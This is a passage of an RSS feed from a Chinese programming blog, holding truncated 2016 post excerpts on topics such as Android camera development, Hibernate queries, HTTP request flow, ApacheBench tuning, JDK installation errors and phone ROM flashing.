*DMA_Source); void DMACH5BurstConfig(Uint16 bsize, int16 srcbstep, int16 desbstep); void DMACH5TransferConfig(Uint16 tsize, int16 srctstep, int16 deststep); void DMACH5WrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep); void DMACH5ModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte); void StartDMACH5(void); // DMA Channel 6 void DMACH6AddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 *DMA_Source); void DMACH6BurstConfig(Uint16 bsize,Uint16 srcbstep, int16 desbstep); void DMACH6TransferConfig(Uint16 tsize, int16 srctstep, int16 deststep); void DMACH6WrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep); void DMACH6ModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte); void StartDMACH6(void); </description>
    </item>
    <item>
      <title>什么是类？什么是对象？类和对象有什么关系？</title>
      <link>https://bchobby.github.io/posts/cee9a2a49845271e42fff7d94b13ee77/</link>
      <pubDate>Fri, 13 May 2016 15:26:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cee9a2a49845271e42fff7d94b13ee77/</guid>
      <description> 面向对象(Object Oriented,OO)。 起初，“面向对象”是指在程序设计中采用封装、继承、多态等设计方法。现在，面向对象的思想已经涉及到软件开发的各个方面。如，面向对象的分析（OOA，ObjectOriented Analysis），面向对象的设计（OOD，Object Oriented Design）、以及面向对象的编程实现（OOP，Object Oriented Programming）。&#xA;对象和类解释：&#xA;1）对象：对象是人们要进行研究的任何事物，它不仅能表示具体的事物，还能表示抽象的规则、计划或事件。对象具有状态，一个对象用数据值来描述它的状态。对象还有操作，用于改变对象的状态，对象及其操作就是对象的行为。对象实现了数据和操作的结合，使数据和操作封装于对象的统一体中。&#xA;2）类：具有相同特性（数据元素）和行为（功能）的对象的抽象就是类。因此，对象的抽象是类，类的具体化就是对象，也可以说类的实例是对象，类实际上就是一种数据类型。类具有属性，它是对象的状态的抽象，用数据结构来描述类的属性。类具有操作，它是对象的行为的抽象，用操作名和实现该操作的方法来描述。&#xA;对象和类的关系： 类与对象的关系就如模具和铸件的关系，类的实力化的结果就是对象，而对对象的抽象就是类，类描述了一组有相同特性（属性）和相同行为的对象。&#xA;class person{ }//这个是类 $obj = new person();//类的实例化就是对象 </description>
    </item>
    <item>
      <title>java swing 窗口不用时定时关闭</title>
      <link>https://bchobby.github.io/posts/3d344af67db6fbf510a57b72e092eb03/</link>
      <pubDate>Tue, 10 May 2016 15:03:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d344af67db6fbf510a57b72e092eb03/</guid>
      <description>我写了一些Java swing客户端程序,我想达到一个效果:长时间不用时自动关闭.&#xA;如何实现呢?&#xA;启动主窗口时,调用如下方法,给Frame添加监听事件:&#xA;Java代码 private void init33() { this.addWindowListener(new WindowAdapter() { @Override public void windowActivated(WindowEvent e) { System.out.println(&#34;window Activated&#34;); if (task != null) { task.cancel(); task = null; } super.windowActivated(e); } @Override public void windowDeactivated(WindowEvent e) { System.out.println(&#34;window Deactivated&#34;); if (isLocked) {// over three times and is still locked,meanwhile use // try to log in if (task != null) { task.cancel(); task = null; } } else {// first into this if clause(if (timesFail &amp;gt;= // LoginUtil.</description>
    </item>
    <item>
      <title>自己写的windows服务 启动时出现1053错误</title>
      <link>https://bchobby.github.io/posts/88fc45d82e840c2cd6a89a8788a4a98d/</link>
      <pubDate>Mon, 09 May 2016 12:04:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88fc45d82e840c2cd6a89a8788a4a98d/</guid>
      <description>自己开发的windows服务，在自己电脑安装是成功的，能正常运行。 放到其它服务器安装时也能成功， 然后我打开服务找开自己的windows服务启动时就提示”服务错误1053:服务没有及时响应启动或控制请求“ 网上查了好久，终于找到了问题。&#xA;原因：开发时用的是.net 4.5开发的，在app.config 的配置自动生成了这段代码：&#xA;&amp;lt;supportedRuntime version=&#34;v4.0&#34; sku=&#34;.NETFramework,Version=v4.5&#34; /&amp;gt;&#xA;解决： 把v4.5改成v4.0，再启动服务通过。</description>
    </item>
    <item>
      <title>程序包org.apache.http.Header不存在</title>
      <link>https://bchobby.github.io/posts/9b60350823fa0c4a9ec00da3aee03757/</link>
      <pubDate>Sun, 08 May 2016 22:03:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b60350823fa0c4a9ec00da3aee03757/</guid>
      <description>android studio编译时报 程序包org.apache.http.Header不存在&#xA;原因是这个类不存在&#xA;我用的是api23(android6.0) 没有提供org.apache.http.*; 解决方法：&#xA;网上下载org.apache.http.legacy.jar这个jar包放在libs目录下，如果app下没有则自己创建一个</description>
    </item>
    <item>
      <title>Hibernate的HQL和原生SQL返回简单对象</title>
      <link>https://bchobby.github.io/posts/0c2c10d8f2afae1e474c5605620bf764/</link>
      <pubDate>Sun, 08 May 2016 17:25:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c2c10d8f2afae1e474c5605620bf764/</guid>
      <description>最近跟了一个技术经理，他有个要求就是所有的查询比结果都必需是对象，不是是map之类的,而且有很多对象的是很多实体相联合组成的对象,所有又专门研究了hibernate返回对象的知识&#xA;这次讨论的对象都是组合对象，就是很多实体相关联，取他们一部分字段的组合对象,&#xA;Hql 首先扩展的对象&#xA;package com.hfview.bean; import java.util.ArrayList; import java.util.List; public class PersonEx { private String id; private String name; private String birthday; private String area; private List&amp;lt;Menu&amp;gt; menu = new ArrayList&amp;lt;Menu&amp;gt;(); public PersonEx(){ } public PersonEx(String name, String area) { super(); this.name = name; this.area = area; } public PersonEx(String id, String name, String birthday) { super(); this.id = id; this.name = name; this.birthday = birthday; } public String getId() { return id; } public void setId(String id) { this.</description>
    </item>
    <item>
      <title>Android相机开发那些坑</title>
      <link>https://bchobby.github.io/posts/827646369620eecbd9b5c7defe8f8911/</link>
      <pubDate>Fri, 06 May 2016 14:05:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/827646369620eecbd9b5c7defe8f8911/</guid>
      <description>转载请标明出处：http://blog.csdn.net/xx326664162/article/details/53350551 文章出自：薛瑄的博客&#xA;在Android相机开发实际开发过程中遇到了不少问题，在网上找了这些资料，但是感觉如果没有经历过Android相机开发开发，直接看这些还是有点太抽象，建议参考一些代码来学习下面的内容&#xA;由于之前没有接触过Android相机开发，所以在整个开发过程中踩了不少坑，费了不少时间和精力。这篇文章总结了Android相机开发的相关知识、流程，以及容易遇到的坑，希望能帮助今后可能会接触Android相机开发的朋友快速上手，节省时间，少走弯路。&#xA;一.Android中开发相机应用的两种方式 Android系统提供了两种使用手机相机资源实现拍摄功能的方法，&#xA;一种是直接通过Intent调用系统相机组件，这种方法快速方便，适用于直接获得照片的场景，如上传相册，微博、朋友圈发照片等。另一种是使用相机API来定制自定义相机，这种方法适用于需要定制相机界面或者开发特殊相机功能的场景，如需要对照片做裁剪、滤镜处理，添加贴纸，表情，地点标签等。 这篇文章主要是从如何使用相机API来定制自定义相机这个方向展开的。&#xA;二.相机API中关键类解析 通过相机API实现拍摄功能涉及以下几个关键类和接口：&#xA;Camera：最主要的类，用于管理和操作camera资源。 它提供了完整的相机底层接口，支持相机资源切换，设置预览/拍摄尺寸，设定光圈、曝光、聚焦等相关参数，获取预览/拍摄帧数据等功能，主要方法有以下这些：&#xA;open()：获取camera实例。setPreviewDisplay(SurfaceHolder)：绑定绘制预览图像的surface。surface是指向屏幕窗口原始图像缓冲区（raw buffer）的一个句柄，通过它可以获得这块屏幕上对应的canvas，进而完成在屏幕上绘制View的工作。通过surfaceHolder可以将Camera和surface连接起来，当camera和surface连接后，camera获得的预览帧数据就可以通过surface显示在屏幕上了。setPrameters设置相机参数，包括前后摄像头，闪光灯模式、聚焦模式、预览和拍照尺寸等。startPreview():开始预览，将camera底层硬件传来的预览帧数据显示在绑定的surface上。stopPreview():停止预览，关闭camra底层的帧数据传递以及surface上的绘制。release():释放Camera实例takePicture(Camera.ShutterCallback shutter, Camera.PictureCallback raw, Camera.PictureCallback jpeg):这个是实现相机拍照的主要方法，包含了三个回调参数。shutter是快门按下时的回调，raw是获取拍照原始数据的回调，jpeg是获取经过压缩成jpg格式的图像数据的回调。 SurfaceView：用于绘制相机预览图像的类，提供给用户实时的预览图像。 普通的view以及派生类都是共享同一个surface的，所有的绘制都必须在UI线程中进行。而surfaceview是一种比较特殊的view，它并不与其他普通view共享surface，而是在内部持有了一个独立的surface,surfaceview负责管理这个surface的格式、尺寸以及显示位置。由于UI线程还要同时处理其他交互逻辑，因此对view的更新速度和帧率无法保证，而surfaceview由于持有一个独立的surface，因而可以在独立的线程中进行绘制，因此可以提供更高的帧率。自定义相机的预览图像由于对更新速度和帧率要求比较高，所以比较适合用surfaceview来显示。&#xA;SurfaceHolder：控制surface的一个抽象接口 它能够控制surface的尺寸和格式，修改surface的像素，监视surface的变化等等，surfaceholder的典型应用就是用于surfaceview中。surfaceview通过getHolder()方法获得surfaceholder 实例，通过后者管理监听surface 的状态。&#xA;SurfaceHolder.Callback接口：负责监听surface状态变化的接口， 有三个方法：&#xA;surfaceCreated(SurfaceHolder holder)：在surface创建后立即被调用。在开发自定义相机时，可以通过重载这个函数调用camera.open()、camera.setPreviewDisplay()，来实现获取相机资源、连接camera和surface等操作。surfaceChanged(SurfaceHolder holder, int format, int width, int height):在surface发生format或size变化时调用。在开发自定义相机时，可以通过重载这个函数调用camera.startPreview来开启相机预览，使得camera预览帧数据可以传递给surface，从而实时显示相机预览图像。surfaceDestroyed(SurfaceHolder holder)：在surface销毁之前被调用。在开发自定义相机时，可以通过重载这个函数调用camera.stopPreview()，camera.release()来实现停止相机预览及释放相机资源等操作。 三.自定义相机的开发过程 定制一个自定义相机应用，通常需要完成以下步骤，其流程图如图1所示：&#xA;检测并访问相机资源 检查手机是否存在相机资源，如果存在，请求访问相机资源。创建预览类 创建继承自SurfaceView并实现SurfaceHolder接口的拍摄预览类。此类能够显示相机的实时预览图像。建立预览布局 有了拍摄预览类，即可创建一个布局文件，将预览画面与设计好的用户界面控件融合在一起。设置拍照监听器 给用户界面控件绑定监听器，使其能响应用户操作（如按下按钮）, 开始拍照过程。拍照并保存文件 将拍摄获得的图像转换成位图文件，最终输出保存成各种常用格式的图片。释放相机资源 相机是一个共享资源，必须对其生命周期进行细心的管理。当相机使用完毕后，应用程序必须正确地将其释放，以免其它程序访问使用时，发生冲突。 四. 开发过程遇到的一些坑 下面再讲讲我在开发自定义相机时踩过的一些坑：&#xA;1.相机预览方向适配问题的产生 1.1、相机的安装方向如何获取？ Android官方提供orientation这个属性：表示相机预览图像顺时针旋转orientation度后才能与到设备自然方向一致。&#xA;假设设备是竖屏显示。后置相机传感器是横屏安装的。&#xA;你面向屏幕时，如果后置相机传感器所采集的图像的上边和设备自然方向的右边是平行的，则后置相机的orientation是90。&#xA;如果前置相机传感器所采集的图像的上边和设备自然方向的右边是平行的，则前置相机的orientation是270。&#xA;这个值，不同的设备有所差异，但大多数都是这样的值。&#xA;1.2、Activity设为竖屏时，SurfaceView预览图像为什么是逆时针旋转90度？ 说明这个问题之前，先介绍下Android手机上几个方向的概念：&#xA;屏幕方向：在Android系统中，屏幕的左上角是坐标系统的原点（0,0）坐标。原点向右延伸是X轴正方向，原点向下延伸是Y轴正方向。&#xA;图像传感器（Image Sensor）方向：手机相机的图像数据都是来自于摄像头硬件的图像传感器，这个传感器在被固定到手机上后有一个默认的取景方向，如下图2所示，坐标原点位于手机横放时的左上角，即与横屏应用的屏幕X方向一致。换句话说，与竖屏应用的屏幕X方向呈90度角。&#xA;相机的预览方向：将图像传感器捕获的图像，显示在屏幕上的方向。在默认情况下，与图像传感器方向一致。在相机API中可以通过setDisplayOrientation()设置相机预览方向。在默认情况下，这个值为0，与图像传感器方向一致。&#xA;对于横屏（这个activity设置的是横屏显示）来说，由于屏幕方向和预览方向一致，预览图像和看到的实物方向一致。对于竖屏（这个activity设置的是竖屏显示），屏幕方向和预览方向垂直，所以会出现颠倒90度现象，无论怎么旋转手机，显示在UI预览界面的画面与人眼看到的实物始终成90度（UI预览界面逆时针转了90度）。为了得到一致的预览画面，需要将相机的预览方向旋转90，保持与屏幕方向一致， 注意：设置预览方向并不会改变拍出照片的方向&#xA;如图3所示（红色箭头表示相机预览的x轴方向，蓝色箭头表示屏幕的x轴方向）。&#xA;下面是Camera.setDisplayOrientation的注释文档：&#xA;/** * Set the clockwise rotation of preview display in degrees.</description>
    </item>
    <item>
      <title>一次完整的HTTP过程请求步骤（输入一个URL回车，到返回页面）</title>
      <link>https://bchobby.github.io/posts/95677df7f51bd9ea73b18cbc03b10c4e/</link>
      <pubDate>Thu, 05 May 2016 21:13:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95677df7f51bd9ea73b18cbc03b10c4e/</guid>
      <description>一次完整的HTTP请求所经历的7个步骤 HTTP通信机制是在一次完整的HTTP通信过程中，Web浏览器与Web服务器之间将完成下列7个步骤： 1. 建立TCP连接： 在HTTP工作开始之前，Web浏览器首先要通过网络与Web服务器建立连接，该连接是通过TCP来完成的，该协议与IP协议共同构建Internet，即著名的TCP/IP协议族，因此Internet又被称作是TCP/IP网络。HTTP是比TCP更高层次的应用层协议，根据规则，只有低层协议建立之后才能进行更高层协议的连接，因此，首先要建立TCP连接，一般TCP连接的端口号是80。 2. Web浏览器向Web服务器发送请求命令： 一旦建立了TCP连接，Web浏览器就会向Web服务器发送请求命令。例如：GET/sample/hello.jsp HTTP/1.1。 3. Web浏览器发送请求头信息 ： 浏览器发送其请求命令之后，还要以头信息的形式向Web服务器发送一些别的信息，之后浏览器发送了一空白行来通知服务器，它已经结束了该头信息的发送。 4. Web服务器应答 ： 客户机向服务器发出请求后，服务器会客户机回送应答， HTTP/1.1 200 OK ，应答的第一部分是协议的版本号和应答状态码。 5. Web服务器发送应答头信息： 正如客户端会随同请求发送关于自身的信息一样，服务器也会随同应答向用户发送关于它自己的数据及被请求的文档。 6. Web服务器向浏览器发送数据： Web服务器向浏览器发送头信息后，它会发送一个空白行来表示头信息的发送到此为结束，接着，它就以Content-Type应答头信息所描述的格式发送用户所请求的实际数据。 7. Web服务器关闭TCP连接 ： 一般情况下，一旦Web服务器向浏览器发送了请求数据，它就要关闭TCP连接，然后如果浏览器或者服务器在其头信息加入了这行代码：Connection:keep-alive；TCP连接在发送后将仍然保持打开状态，于是，浏览器可以继续通过相同的连接发送请求。保持连接节省了为每个请求建立新连接所需的时间，还节约了网络带宽。 （输入一个URL回车后的后台过程）&#xA;1.客户机提出域名解析请求，并将该请求发送给本地的域名服务器。&#xA;2.当本地的域名服务器收到请求后，就先查询本地缓存，如果有该记录项，则本地的域名服务器就直接地把查询的结果返回。&#xA;3.如果本地的缓存中没有该记录项，则本地域名服务器就直接把请求发送给根域名服务器，然后根域名服务器再返回给本地域名服务器一个所查询域（根的子域）的主域名服务器的地址。&#xA;4.本地服务器再向上一步返回的域名服务器发送请求，然后接受请求的服务器查询自己的缓存，如果没有该记录则返回相关的下级的域名服务器的地址。&#xA;5.重复第四步，直到找到正确的记录。</description>
    </item>
    <item>
      <title>ab测试大并发错误</title>
      <link>https://bchobby.github.io/posts/97cf9090062d2099f1f2748aa990c6c6/</link>
      <pubDate>Wed, 04 May 2016 16:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97cf9090062d2099f1f2748aa990c6c6/</guid>
      <description>转载自http://xmarker.blog.163.com/blog/static/226484057201462263815783&#xA;apache 自带的ab工具测试，当并发量达到1000多的时候报错如下：&#xA;[root@aa~]# This is ApacheBench, Version 2.3 &amp;lt;$Revision: 655654 $&amp;gt;&#xA;Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/&#xA;Licensed to The Apache Software Foundation, http://www.apache.org/&#xA;Benchmarking 192.168.1.176 (be patient)&#xA;Completed 300 requests&#xA;Completed 600 requests&#xA;Completed 900 requests&#xA;apr_socket_recv: Connection reset by peer (104)&#xA;Total of 1085 requests completed&#xA;查看应用服务器和数据库均未报错，连接被重置，bingyi了以下，apr_socket_recv这个是操作系统内核的一个参数，在高并发的情况下，内核会认为系统受到了SYN flood攻击，会发送cookies（possible SYN flooding on port 80. Sending cookies），这样会减慢影响请求的速度，所以在应用服务武器上设置下这个参数为0禁用系统保护就可以进行大并发测试了：&#xA;# vim /etc/sysctl.conf net.ipv4.tcp_syncookies = 0&#xA;# sysctl -p</description>
    </item>
    <item>
      <title>多维度数据分析</title>
      <link>https://bchobby.github.io/posts/904729684222b18091372ca701616f18/</link>
      <pubDate>Wed, 04 May 2016 11:46:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/904729684222b18091372ca701616f18/</guid>
      <description>在零售业中，数据分析大多采用汇总、对比、趋势预测、交叉等几类方法，尤其是交叉分析使用率颇高。交叉分析，顾名思义，是指对数据在不同维度进行交叉展现，进行多角度结合分析的方法，弥补了独立维度进行分析没法发现的一些问题。可以说，数据分析的维度弥补了众多分析方法的独立性，让各种方法通过不同属性的比较，细分，使分析结果更有意义。&#xA;横看成岭侧成峰。我们在看待事物的时候，如果从不同角度看，往往会得出不同的结果。在对业务数据进行分析时，也会有这种现象。如现在对某个区域的销售数据进行分析。如果以年销售额来分析的话，也许可以发现每年的销售收入都在成比例增长。这是一个不错的结果。但是如果从客户的角度出发进行分析，管理员可能会发现一些老客户的销售额在逐渐降低。&#xA;什么是数据分析的维度？&#xA;我们如何理解多维数据中的维？维是人们观察事物的角度，同样的数据从不同的维进行观察可能会得到不同的结果，同时也使人们更加全面和清楚地认识事物的本质。&#xA;当数据有了维的概念之后，便可对数据进行多维分析操作，常见的多维分析操作主要有：钻取（上钻和下钻）、切片、切块、旋转。钻取：钻取是改变维度的层次，变换分析的粒度。钻取包括上钻和下钻，上钻是在某一维上将低层次的细节数据概括到高层次的汇总数据的过程，减少了分析的维数；下钻则是相反，它是将高层次的汇总数据进行细化，深入到低层次细节数据的过程，增加了分析的维数。切片和切块：在多维分析中，如果在某一维度上限定了一个值，则称为对原有分析的一个切片，如果对多个维度进行限定，每个维度限定为一组取值范围，则称为对原有分析的一个切块。在多维分析中，维度都是按某一顺序进行显示，如果变换维度的顺序和方向，或交换两个维度的位置，则称为旋转。&#xA;多维度数据分析的典型描述&#xA;比如一个典型的商品销售数据库，记录了商品销售的详细情况，则我们可从这么几个方面来对销售数据进行分析：从产品的角度，可以按产品的类别、品牌、型号来查看产品的销售情况；从客户的角度，可以按客户的类别、地区等来查看产品的购买情况；从销售代表的角度，可以按销售代表的部门、级别等来查看产品销售业绩；从时间的角度，可以按年度、季度、月份等来观察产品销售的变动情况。其中产品、客户、销售代表、时间分别是四个不同的维度，每个维度都从不同方面体现了销售数据的特征，而每个维度又可按粒度的不同划分成多个层次，称为维度成员，多维分析中另一个重要的概念是数据指标，简称指标，指标代表了数据中的可度量的属性，在上面的销售数据中有两个重要的指标是销售数量和销售金额。&#xA;多维度数据分析的典型案例&#xA;看起来还不错，显示的信息非常丰富，左边包含了以天为单位时间维和产品维，可以使用展开按钮进行汇总和展开，就像是细分的操作；上面的表头部分分两层罗列了地域维和指标维，Excel的透视表提供了丰富的设置，默认展现基于各个维度的汇总数据，让我们可以从“总-分”的角度观察数据，这对数据分析非常有用。假如我们使用上面的透视表进行交叉分析发现数据是否存在异常？&#xA;使用从总体到细节的分析方法，首先可以从查看每天销售额和转化率的汇总数据开始，折叠产品维之后观察最右侧的指标汇总列就可以看到每日汇总数据；如果某一天的销售额或转化率出现了大幅的下滑，我们就可以结合各种维度寻找问题的原因，就是基于各种维度的细节数据，展开产品维观察当天的哪类产品销售出现了问题，然后结合地域维的交叉数据，可以定位哪类商品在哪个省份的销售出现了问题，这样就有效地将问题定位到了细节的层面，能够更好地发现问题，进而解决问题。所以交叉分析其实正是体现了分析“分而析之”的本意。</description>
    </item>
    <item>
      <title>xcode快捷键</title>
      <link>https://bchobby.github.io/posts/3d17d79575b5c45e0876da119bd3a31c/</link>
      <pubDate>Fri, 29 Apr 2016 22:49:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d17d79575b5c45e0876da119bd3a31c/</guid>
      <description>补充：&#xA;fn ＋ F6 ： step over&#xA;fn ＋ F7： step into&#xA;fn ＋ F8： step out&#xA;control＋command＋C： continue to Current Line&#xA;删除前一单词 option + Backspace 删除此行光标前所有内容 command + Backspace 显示字体 command + t 左缩进 command + [ 右缩进 command + ] 项目中查找 command + shift + F 用选择的查找 command + e 查找下一个 command + g 查找上一个 command + shift + g 折叠方法 command + control + 上箭头 展开方法 command + control + 下箭头 折叠注释块 command + control + shift + 上箭头 展开注释块 command + control + shift + 下箭头 切换头 / 源文件 command + option + 上箭头 类浏览(本工程用到的类) command + shift + c 注释 command +/ 方法组列表 control + 2 打开(选中文本的)头文件 command + shift + d 最小化 command + m 显示检查器？ command + option + i (效果和Get Info一样，不知区别) CTRL + .</description>
    </item>
    <item>
      <title>斯坦福课程之storyboard与模拟器显示不一致的问题</title>
      <link>https://bchobby.github.io/posts/1122fe6ca4399d77b3acd888fa75ebaf/</link>
      <pubDate>Tue, 26 Apr 2016 22:10:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1122fe6ca4399d77b3acd888fa75ebaf/</guid>
      <description>前段时间跟着斯坦福课程编写扑克牌匹配游戏的时候发现一个问题，就是我在storyboard中明明已经布置了卡牌在屏幕中间，并且是给予系统的baseline进行布局的，但是当我用模拟器运行的时候发现卡牌偏位了，如下图所示：&#xA;后来发现是因为选择了模拟器是iphone5s，但没有对视图控制器中属性查看器的模拟器尺寸大小进行修改，现把屏幕尺寸设置为iphone5s的4寸，并且调整卡牌在storyboard中的布局之后，如下图所示，运行正常。&#xA;视图控制器的属性查看器：&#xA;另外这里背景颜色不一致，不知道是什么原因，后续再解决。</description>
    </item>
    <item>
      <title>【问题解决】找不到或无法加载主类 com.sun.tools.javac.Main</title>
      <link>https://bchobby.github.io/posts/eb60a5b51ead2f1f206e452466ad75ed/</link>
      <pubDate>Mon, 25 Apr 2016 14:36:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb60a5b51ead2f1f206e452466ad75ed/</guid>
      <description>今天在安装完JDK后，然后使用javac编译测试程序时，一直出现如下错误：&#xA;开始以为自己的环境变量没有设置成功，但仔细一分析要是环境没有设置成功提示的错误应该是命令无法找到的错误，既然提示找不到或无法加载主类 com.sun.tools.javac.Main说明自己环境变量已经设置成功系统已经读取到了相应命令，问题的原因应该出在无法找到javac这个文件。于是到jdk\bin目录下，发现没有javac.exe文件，说明自己在安装JDK的步骤中哪一步操作不当造成的该问题。经上网查找和摸索终于解决该问题&#xA;解决方法如下：&#xA;方法一：我们在安装jdk过程中，还会弹出一个jre的安装过程，这个和jdk不能安装在同一目录下，否则会冲突，删掉javac.exe文件（之前自己的问题正是由于把jdk和jre安装在同一目录下）。只需卸载掉当前的jdk, 然后重新安装的时候，把两者安置在不同文件夹，如jdk装在E:Dev\jdk_1.8\jdk文件夹下，jre则安装在E:Dev\jdk_1.8\jre下，如下图所示，再用javac编译则不会出现上述问题。&#xA;方法二：要是觉得上面的步骤麻烦， 可以更换JDK版本，直接安装JDK1.7，1.7无此限制安装在同一目录下即可。</description>
    </item>
    <item>
      <title>Java 消息机制之回调详解</title>
      <link>https://bchobby.github.io/posts/402a30eb43d9ff0d220affdd5ac27c30/</link>
      <pubDate>Sun, 24 Apr 2016 03:44:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/402a30eb43d9ff0d220affdd5ac27c30/</guid>
      <description>1. 概述 Java 中的回调机制是一个比较常见的机制，只是有可能在你的程序中使用得比较少，在一些大型的框架中回调机制随处可见。而在之前的博文《Java设计模式——观察者模式》及 Android 中对 ListView 的相关操作也有回调身影。本文就通过一些具体的实例，慢慢走近 Java 的回调机制。&#xA;2. 版权说明 著作权归作者所有。 商业转载请联系作者获得授权，非商业转载请注明出处。 本文作者：Q-WHai 发表日期： 2016年4月24日 本文链接：http://blog.csdn.net/lemon_tree12138/article/details/51231841 来源：CSDN 更多内容：分类 &amp;gt;&amp;gt; Thinking in java 3. 目录 概述版权说明目录回调 1 同步回调2 异步回调3 闭包与回调 31 普通调用32 回调初试33 闭包回调Ref 4. 回调 所谓回调：就是A类中调用B类中的某个方法C，然后B类中反过来调用A类中的方法D，D这个方法就叫回调方法。实际在使用的时候，也会有不同的回调形式，比如下面的这几种。&#xA;4.1 同步回调 这里我假设这样的一种情况。 A 公司的总监 B 跟他的下属（项目经理 C）说要做一个调研，不过不用 C 自己亲力亲为。可以让经理 C 去安排他下面的程序员 D 去完成。 经理 C 找到了程序员 D，并告诉他，现在要完成一个调研任务。并且把调研的结果告诉经理 C。如果有问题，还是要继续的。 因为这里是 C 让 D 去做一件事情，之后 D 还是要将结果与 C 进行沟通。这样就是回调的模型了。下面是一般回调的类图： 首先我们要有一个回调的接口 CallbackInterface CallbackInterface.java</description>
    </item>
    <item>
      <title>JQ 事件冒泡</title>
      <link>https://bchobby.github.io/posts/0bc8400a7e516013de5e75bf208da35e/</link>
      <pubDate>Sat, 23 Apr 2016 14:24:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bc8400a7e516013de5e75bf208da35e/</guid>
      <description>&amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&amp;gt; &amp;lt;title&amp;gt;冒泡&amp;lt;/title&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; * { margin: 0; padding: 0; } body { font-size: 13px; line-height: 130%; padding: 60px; } #content { width: 220px; border: 1px solid #0050D0; background: #96E555 } span { width: 200px; margin: 10px; background: #666666; cursor: pointer; color: white; display: block; } p { width: 200px; background: #888; color: white; height: 16px; } &amp;lt;/style&amp;gt; &amp;lt;script src=&#34;js/jquery-1.10.1.min.js&#34; type=&#34;text/javascript&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; $(function(){ // 为span元素绑定click事件 $(&#39;span&#39;).</description>
    </item>
    <item>
      <title>SAP SD凭证处理被批次处理冻结</title>
      <link>https://bchobby.github.io/posts/cc237ca1276cb4fae5f59c513a7b90a1/</link>
      <pubDate>Fri, 22 Apr 2016 15:17:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc237ca1276cb4fae5f59c513a7b90a1/</guid>
      <description>正文部分 va01、va02等事务代码进去都这样 va02 输入一个订单号按回车，就弹 stop了 问题所在：运行了 RVKRED77 这个没退出&#xA;点击进入：SAP SD凭证处理被批次处理冻结</description>
    </item>
    <item>
      <title>学习笔记：setlocale</title>
      <link>https://bchobby.github.io/posts/4f277f0028a3951df04530b0fbf5b01f/</link>
      <pubDate>Thu, 21 Apr 2016 10:25:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f277f0028a3951df04530b0fbf5b01f/</guid>
      <description>#include &amp;lt;locale.h&amp;gt; void show_current_locale_settting(){ char* name = setlocale(LC_ALL,NULL) ; struct lconv * lc = localeconv(); std::cout &amp;lt;&amp;lt; &#34;当前的locale设置是: &#34; &amp;lt;&amp;lt; name &amp;lt;&amp;lt; std::endl; std::cout &amp;lt;&amp;lt; &#34; 数值的千位符是：&#34; &amp;lt;&amp;lt; localeconv()-&amp;gt;thousands_sep &amp;lt;&amp;lt; std::endl; std::cout &amp;lt;&amp;lt; &#34; 货币符号是：&#34; &amp;lt;&amp;lt; localeconv()-&amp;gt;currency_symbol &amp;lt;&amp;lt; std::endl; std::cout &amp;lt;&amp;lt; std::endl; } int main() { std::cout &amp;lt;&amp;lt; &#34;程序启动后: &#34; &amp;lt;&amp;lt; std::endl; show_current_locale_settting(); std::cout &amp;lt;&amp;lt; &#34;修改货币类别相关的参数: &#34; &amp;lt;&amp;lt; std::endl; setlocale (LC_MONETARY,&#34;&#34;); show_current_locale_settting(); std::cout &amp;lt;&amp;lt; &#34;修改全部类别的参数: &#34; &amp;lt;&amp;lt; std::endl; setlocale (LC_ALL,&#34;</description>
    </item>
    <item>
      <title>刷机简单教程，双清及错误解决细节</title>
      <link>https://bchobby.github.io/posts/dfb40fb61679a03ce656919528629060/</link>
      <pubDate>Wed, 20 Apr 2016 16:06:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfb40fb61679a03ce656919528629060/</guid>
      <description> 这里总结下&#xA;卡刷的细节及常见错误 通常 正常情况下步骤：&#xA;下载符合机型的ROM，将其移到手机SD卡，或者内部存储（最好放在SD卡）&#xA;刷入recovery.img（也要匹配机型），可以用移动叔叔工具箱刷入，这款APP支持少量在线匹配recovery&#xA;如果原本系统有高级模式可以直接重启至recovery模式，没有的话可以同时按住音量+和开机键（有的机型复杂些，还要加上home键） 有时死活进不去，可以试试将手机连接电源或电脑，再按组合键 有的机型不太容易进入recovery模式，也可以借助软件进去。 4.进入recovery后就是所谓的“双清”了，这步很重要，很多机友初次刷机都忘了这步，容易引起各种问题&#xA;在网上SOLO下，这里有详细双清及其他项的解释 -mount /system：挂载system文件夹（基本用不到） -mount /data：挂载data文件夹（基本用不到） -unmount /cache：取消cache文件夹挂载（基本用不到） -unmount /sdcard：取消内存卡挂载（基本用不到） -mount /sd-ext：挂载内存卡Ext分区（基本用不到） -format boot：格式化boot（刷机前最好执行一下） -format system：格式化system（刷机前最好执行一下） -format data：格式化data（刷机前最好执行一下） -format cache：格式化cache（刷机前最好执行一下） -format sdcard：格式化内储卡(执行此项你会后悔的) -format 